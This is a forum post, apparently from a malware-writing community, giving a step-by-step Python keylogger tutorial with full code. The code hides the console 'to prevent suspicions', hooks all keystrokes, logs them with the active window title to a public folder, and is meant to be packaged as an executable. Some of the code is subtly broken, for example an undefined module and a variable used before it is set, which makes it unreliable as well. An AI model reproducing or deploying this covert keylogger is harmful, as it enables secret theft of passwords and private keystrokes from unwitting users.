Intrigued by the community here, I decided to start back at developing malware as I had went into a 2 year hybernation. I began by seeing what was developed here and how I could improve the solutions, I found tr4cefl0w and his two topic on the development of a keylogger with python. Being unfamiliar with the Windows API, I took a short dive and decided I was not going to be making any use of it with Python. I found the pip module Keyboard
that was briefly mentioned in the part 2 of tra4cefl0w’s malware writing.
Credits to tr4cefl0w for the beginning code. Decidedly, let’s get over to the development!
To begin you should create a folder for the project and a sub-folder named modules, create a file named keyboard.py
and open it in your preferred editor. It is also required you install the pip module Keyboard
.
/project_folder/modules/Keyboard.py
To begin we will import our base libraries, and hide the console to prevent suspicions.
import keyboard # For recording keystrokes
from datetime import datetime # Optional, to record timestamps
import ctypes # For interfacing with C functions
# Required librairies
kernel32 = ctypes.windll.kernel32
user32 = ctypes.windll.user32
# Hide console
user32.ShowWindow(kernel32.GetConsoleWindow(), 0)
get_current_window() function
Next we will use the function written by tr4cefl0w, get_current_window()
.
def get_current_window(): # Function to grab the current window and its title
GetForegroundWindow = user32.GetForegroundWindow
GetWindowTextLength = user32.GetWindowTextLengthW
GetWindowText = user32.GetWindowTextW
hwnd = GetForegroundWindow() # Get handle to foreground window
length = GetWindowTextLength(hwnd) # Get length of the window text in title bar
buff = ctypes.create_unicode_buffer(length + 1) # Create buffer to store the window title string
GetWindowText(hwnd, buff, length + 1) # Get window title and store in buff
return buff.value # Return the value of buff
Finally, on to the code I have developed.
get_timestamp()
def get_timestamp(): # Optional, used later for writing timestamp to file.
return(round(datetime.now().timestamp()))
write_to(file, content)
def write_to(file, content): # Used later for writing to file
file.write(content)
write_key(key)
This is the meat of the code, and will be what we send keystrokes to.
def write_key(key): # key - name, scan_code, time
global key_info # String of key info
global key_list # List of key names
global prev_window # Last window used
window = get_current_window()
if(window==prev_window): # If in same window, add to list of keys used in this window
key_info.append(str(key.name) + " | " + " | " + str(round(key.time))) # Add key, scan code and timestamp to current list as string
key_list.append(str(key.name)) # Add key name to list as string
return
# If not in same window, write keys to output file.
content = "Date - " + str(datetime.now()) + " | Timestamp - " + str(get_timestamp()) + "\nWindow - " + str(get_current_window()) + "\nKeys - \n" + str("\n".join(key_info)) + "\n" + ", ".join(key_list) + "\n"
out = open("c:/users/public/" + str(filename), "a")
write_to(out, content)
# Where the file should be stored and the name of the file
filename = str("test.txt")
directory = str(os.environ["windir"]) + "\\..\\users\\public\\"
# Writing
out.close() # Close the files
key_info = [] # Reset array
key_list = [] # Reset array
prev_window = window # Reset the previous window to the current window
key_info.append(str(key.name) + " | " + str(key.scan_code) + " | " + str(round(key.time))) # Update list with new key, scan code and timestamp
key_list.append(str(key.name)) # Update list with key name
How the function works
- This function is first passed a key, each key has the attributes
name
,scan_code
andtime
. - When passed the key, it is first checked if the user is still in the previous window, this is only useful when the function has been used once already.
Same Window
- Next, checking if the keys are entered into the same function, the arrays
key_list
andkey_info
are updated.-
key_info
stores the name of the key alongside the timestamp it was recorded to have been pushed at. -
key_list
stores the keys that have been entered in the current window. - It then returns and waits for the next keystroke
-
New Window
- If the keys were pressed in a new window, the previous is skipped.
- The current date,
key_info
andkey_list
are written to a variable namedcontent
- A file is opened with the option to append. For more information about this see here
- This file is stored in the public user directory, which all users can read or write to. You can change this location to somewhere more hidden if you’d like, later on.
- The variable
content
and variable pointing to the file,out
are then sent to the functionwrite_to
andcontent
is written to the file. - The file is then closed
- Now the arrays and current window can be safely reset
- Finally, the new key pressed is written to the arrays
- The current date,
prepare()
This is called in the main file to prepare the script.
def prepare():
global key_info # String of key info
global key_list # List of key names
global prev_window # Last window used
# Set up the arrays
key_info = []
key_list = []
prev_window = str()
keyboard.on_press(write_key) # When a key is pressed, call the write_key function
keyboard.wait() # This prevents the script from ending and allows for the previous command to continue running.
/project_folder/main.py
from modules import keyboard # Import the file we just wrote
if __name__ == '__main__':
keyboard.filename = "log.txt" # This variable can be changed to any name you'd like your log file to have
keyboard.prepare() # Call the prepare function to set up the keylogger.
Executable
You can use PyInstaller to create and executable with this code.